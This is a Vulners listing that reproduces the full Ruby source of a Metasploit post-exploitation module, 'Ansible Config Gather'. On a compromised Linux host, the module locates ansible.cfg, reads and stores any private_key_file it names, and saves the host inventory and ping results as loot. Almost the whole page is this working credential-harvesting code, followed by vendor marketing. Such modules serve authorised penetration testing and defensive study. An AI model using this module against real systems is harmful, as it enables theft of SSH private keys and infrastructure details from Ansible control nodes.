Lucene search
K

Ansible Config Gather

🗓️ 17 Jan 2024 19:50:27Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 310 Views

Ansible Config Gather module grabs ansible information, hosts, ping status, and configuration file

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report
  include Msf::Exploit::Local::Ansible

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ansible Config Gather',
        'Description' => %q{
          This module will grab ansible information including hosts, ping status, and the configuration file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Metasploit Module
        ],
        'Platform' => ['linux', 'unix'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptString.new('ANSIBLECFG', [true, 'Ansible config file location', '']),
        OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
      ]
    )

    register_advanced_options(
      [
        OptString.new('ANSIBLEINVENTORY', [true, 'Ansible-inventory executable location', '']),
      ]
    )
  end

  def ansible_inventory
    return @ansible_inv if @ansible_inv

    [datastore['ANSIBLEINVENTORY'], '/usr/local/bin/ansible-inventory'].each do |exec|
      next if exec.empty?
      next unless file?(exec)
      next unless executable?(exec)

      @ansible_inv = exec
      return @ansible_inv
    end
    @ansible_inv
  end

  def ansible_cfg
    return @ansible_cfg if @ansible_cfg

    [datastore['ANSIBLECFG'], '/etc/ansible/ansible.cfg', '/playbook/ansible.cfg'].each do |cfg|
      next if cfg.empty?
      next if cfg.empty?
      next unless file?(cfg)

      @ansible_cfg = cfg
      return @ansible_cfg
    end
    @ansible_cfg
  end

  def ping_hosts_print
    results = ping_hosts
    if results.nil?
      print_error('Unable to parse ping hosts results')
      return
    end

    columns = ['Host', 'Status', 'Ping', 'Changed']
    table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)

    results.each do |match|
      table << [match['host'], match['status'], match['ping'], match['changed']]
    end
    print_good(table.to_s) unless table.rows.empty?
  end

  def conf
    unless file?(ansible_cfg)
      print_bad('Unable to find config file')
      return
    end

    ansible_config = read_file(ansible_cfg)
    stored_config = store_loot('ansible.cfg', 'text/plain', session, ansible_config, 'ansible.cfg', 'Ansible config file')
    print_good("Stored config to: #{stored_config}")
    ansible_config.lines.each do |line|
      next unless line.start_with?('private_key_file')

      file = line.split(' = ')[1].strip
      next unless file?(file)

      print_good("Private key file location: #{file}")

      key = read_file(file)
      loot = store_loot('ansible.private.key', 'text/plain', session, key, 'private.key', 'Ansible private key')
      print_good("Stored private key file to: #{loot}")
    end
  end

  def hosts_list
    hosts = cmd_exec("#{ansible_inventory} --list")
    hosts = JSON.parse(hosts)
    inventory = store_loot('ansible.inventory', 'application/json', session, hosts, 'ansible_inventory.json', 'Ansible inventory')
    print_good("Stored inventory to: #{inventory}")
    columns = ['Host', 'Connection']
    table = Rex::Text::Table.new('Header' => 'Ansible Hosts', 'Indent' => 1, 'Columns' => columns)
    hosts = hosts.dig('_meta', 'hostvars')
    hosts.each do |host|
      table << [host[0], host[1]['ansible_connection']]
    end
    print_good(table.to_s) unless table.rows.empty?
  end

  def run
    fail_with(Failure::NotFound, 'Ansible executable not found') if ansible_exe.nil?
    hosts_list
    ping_hosts_print
    conf
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation